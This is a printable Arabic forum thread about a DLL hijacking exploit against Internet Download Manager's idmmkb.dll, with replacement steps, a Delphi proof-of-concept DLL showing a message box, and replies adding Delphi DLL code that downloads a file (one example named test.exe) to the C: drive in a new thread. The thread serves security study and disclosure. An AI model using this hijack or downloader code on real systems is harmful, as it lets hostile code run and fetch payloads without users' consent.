delphi4arab منتديات دلفي للعرب
IDM Dll Hijacking Exploit - نسخة قابلة للطباعة

+- delphi4arab منتديات دلفي للعرب (https://delphi4arab.net/forum)
+-- قسم : منتديات دلفي الأخرى (https://delphi4arab.net/forum/forumdisplay.php?fid=4)
+--- قسم : الامن و تحليل التطبيقات البرمجية (https://delphi4arab.net/forum/forumdisplay.php?fid=31)
+--- الموضوع : IDM Dll Hijacking Exploit (/showthread.php?tid=2391)



IDM Dll Hijacking Exploit - STRELiTZIA - 07-09-2010

السلام عليكم و رحمة الله
استغلال صلاحيات برنامج ما لتنفيذ اوامر ضارة في مستوى متقدم على النظام، يعني اذا استطعت ان تجعل برنامج معين عنده صلاحيات، Digitally signed او Privilege او متصفح انترنت يحمل ملف مكتبة ديناميكية دون تعديل على البرنامج و باستغلال ثغرة برمجية فيمكنك عمل اي شئ للنظام او لمستعمل النظام.

الثغرة: مكتبة IDM تقوم بترصد النشاطات الخاصة بالمستعمل لتسهيل عملية الخدمة، اعتمادا على حقنها في النظام، بتغيير المكتبة الحقيقية بالمكتبة التجريبية سوف يتم حقن المكتبة التجريبية دون فحصها، و مع كل حدث يتم تنفيذ اوامر المكتبة التجريبية مكان الأصلية:
إقتباس :
Internet Download Manager module(idmmkb.dll) is a monitor for special keys (Alt, Ctrl, etc.) and for mouse clicks on web links in Internet Browsers.


العملية:
1- نسخ ملف Test.dll و لصقه في مجلد تنصيب IDM.
2- اعادة تسمية الملف idmmkb.dll الى idmmkb.dll_original.
3- اعادة تسمية الملف Test.dll الى idmmkb.dll.

التجربة:
- نجرب اعادة تشغيل النظام.
- تشغيل Internet Explorer او Mozilla Firefox.
- ....
- ....
- ....
Exploit Title: [Dll Hijacking Exploit]
Application: [Internet Download Manager module(idmmkb.dll) Tonec Inc.]
Date: [07 Sept 2010]
Author: [STRELiTZIA]
Version: [All Internet Download Manager release]
Tested on: [Windows Xp, Vista, Windows 7]

Description:
------------
Internet Download Manager module(idmmkb.dll) is a monitor for special keys (Alt, Ctrl, etc.) and for mouse clicks on web links in Internet Browsers.
That allows other applications dynamic link libraries to execute malicious code without the users consent,
in the privilege context of the targeted application.

Instructions:
-------------
1- Copy "Test.dll" into %Internet Download Manager folder%
2- Rename "idmmkb.dll" to "idmmkb.dll_Original"
3- Rename "Test.dll" to "idmmkb.dll"

Perform this tests:
-------------------
- Restart your system.
- Try to run Windows Internet Explorer or Mozilla Firefox.
- Try to open you folders and links locate on your Desktop (My Computer, Recycle bin, My Documents and other...)
- Choose any Link property and click Find target.

Test Dll Delphi Source:
---//--
[COLOR="DarkSlateBlue"]Library Test;
uses
Windows;

begin
MessageBoxA
(
0,
PChar('Yep, I''m running in your system without your permission'),
PChar('Sample'),
MB_ICONSTOP
);
end.[/COLOR]
---//---
c) 2010 by STRELiTZIA.



IDM Dll Hijacking Exploit - khiro.alg - 08-09-2010

السلام عليكم
عمل رهيب أخي STRELiTZIA
نعم المواضيع
مع أني لم أفهمه من البداية إلى أني سأحاول
جزاك الله كل خير أخي


IDM Dll Hijacking Exploit - onexite - 01-04-2012

كيف وجدتها اي برنامج استخدمت


IDM Dll Hijacking Exploit - STRELiTZIA - 02-04-2012

السلام عليكم و رحمة الله

onexite كتب :كيف وجدتها اي برنامج استخدمت

تحليل يدوي:
1- المنقح ImmDbg
2- تحميل البرنامج موضوع التحليل
3- نقطة توقف عند LoadLibraryExW او LdrLoadDll
4- و فحص ناتج LastErr

بالتوفيق ان شاء الله


IDM Dll Hijacking Exploit - onexite - 02-04-2012

ساقوم بالتجريب
والملف الذي نستبدله هل يستطيع ان يقوم بالتحميل
جربت هذا الكود ولم افلح
PHP كود :
Library Test;
uses
URLMon
,Windows;
begin
UrlDownloadToFile
(nil, PChar('http://www.google.com/test.exe'), PChar('C:\test.exe'), 0, nil) ; 
end. 



IDM Dll Hijacking Exploit - STRELiTZIA - 03-04-2012

إقتباس :والملف الذي نستبدله هل يستطيع ان يقوم بالتحميل
نعم، برمجيا كل الأوامر التي في المكتبة يتم تنفيذها دون استثناء فقط انتبه جيدا الى ما يلي:

استدعاء الأوامر و تنفيذها يتم اساسا عبر:
- تنفيذ اوامر عند تحميل المكتبة.
- عمل DLLEntryProc للاستفادة من احداث ATTACH و DETACH التي تخص الــ THREAD و PROCESS
- الاعتماد على OutPutDebugString لتتبع تنفيذ اوامر المكتبة.

هناك ايضا شروط اساسية تخص التعامل مع الدوال التي لم يحمل البرنامج المستهدف مكتباتها -مكتبات النظام- ، حيث يجب تحميلها و الحصول على المقبض و عنوان الدالة المراد التعامل معها...


IDM Dll Hijacking Exploit - onexite - 03-04-2012

شكرا لك اخي على اجوبتك
هذا يعمل
PHP كود :
Library Test;
uses
URLMon
,Windows;
function 
sync():Boolean;
begin
if UrlDownloadToFile(nil, PChar('http://www.opensc.ws/images/Seamus/misc/logo.png'), PChar('C:\test_logo.png'), 0, nil) <> 0 then
Result
:=True else Result:=False;
end;

var
  
thrID: DWORD;
begin
CreateThread
(nil, 0, @sync, nil, 0, thrID);
end.